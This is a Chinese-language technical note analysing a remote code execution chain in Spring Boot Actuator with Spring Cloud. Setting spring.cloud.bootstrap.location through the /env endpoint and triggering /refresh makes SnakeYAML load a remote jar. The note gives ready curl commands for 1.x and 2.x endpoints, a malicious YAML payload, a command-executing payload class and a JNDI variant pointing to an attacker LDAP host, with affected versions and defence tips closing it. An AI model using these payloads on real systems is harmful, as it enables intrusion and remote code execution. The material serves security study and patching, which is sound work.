Exploit Spring Boot Actuator之Spring Cloud Env学习笔记
字数 1811 2025-08-18 11:39:15
Spring Boot Actuator与Spring Cloud环境变量利用分析
0x01 概述
本文详细分析Spring Boot Actuator端点与Spring Cloud环境变量配置结合时存在的安全风险,特别是通过修改spring.cloud.bootstrap.location环境变量实现远程代码执行(RCE)的原理和过程。
0x02 利用原理
基本利用流程
- 利用
/env端点修改spring.cloud.bootstrap.location属性值为外部yml配置文件URL - 请求
/refresh端点,触发程序下载外部yml文件 - SnakeYAML库解析该yml文件时触发反序列化漏洞
- 结合
javax.script.ScriptEngineManager类加载远程jar包,实现任意代码执行
SnakeYAML反序列化机制
SnakeYAML支持通过!!加完整类名的方式指定反序列化的类,并用[arg1, arg2, ...]传递构造方法参数:
@Test
public void testYaml() {
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
System.out.println(url.getClass()); // 输出java.net.URL
System.out.println(url); // 输出http://127.0.0.1:63712/yaml-payload.jar
}
恶意yml文件示例
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]
等价于以下Java代码:
URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
0x03 详细分析
攻击流程分析
-
修改环境变量:
curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml" -
触发刷新:
curl -XPOST http://127.0.0.1:61234/refresh
关键调用栈
RefreshEndpoint.refresh()- 处理/refresh端点请求BootstrapApplicationListener.bootstrapServiceContext()- 从环境变量获取spring.cloud.bootstrap.location值PropertySourcesLoader.load()- 根据文件后缀选择YamlPropertySourceLoader加载器YamlProcessor.process()- 调用Yaml.loadAll()解析yml内容
恶意jar包结构
示例项目:https://github.com/artsploit/yaml-payload
关键类AwesomeScriptEngineFactory.java:
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
// 其他必要方法实现...
}
必须符合Java SPI规范:
- 实现
ScriptEngineFactory接口 - 在
META-INF/services/目录下创建javax.script.ScriptEngineFactory文件,内容为实现类全名
0x04 高版本限制分析
Spring Boot 2.x的变化
-
端点前缀变为
/actuator -
修改环境变量的请求体变为JSON格式:
curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}' -
刷新端点:
curl -XPOST http://127.0.0.1:61234/actuator/refresh
失效原因
ContextRefresher.copyEnvironment()方法在高版本中只处理DEFAULT_PROPERTY_SOURCES(commandLineArgs和defaultProperties),而忽略了我们添加的manager属性源。
受影响版本
-
可成功利用:
- Spring Boot <= 1.4.x
- Spring Boot 1.5.x + Spring Cloud Dalston.RELEASE(依赖spring-cloud-commons 1.2.0)
-
无法利用:
- Spring Boot 2.x
- Spring Boot 1.5.x + Spring Cloud Edgware(依赖spring-cloud-commons >=1.3.0)
0x05 其他利用方式
JNDI注入替代方案
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true
YamlPropertySourceLoader变化
高版本Spring Boot将解析后的值存放在OriginTrackedValue.$OriginTrackedCharSequence而非String中,导致反射创建实例失败。
0x06 防御建议
- 升级到最新Spring Boot和Spring Cloud版本
- 限制Actuator端点的访问权限
- 禁用不必要的端点(特别是
/env和/refresh) - 使用
management.endpoint.env.enabled=false禁用环境变量端点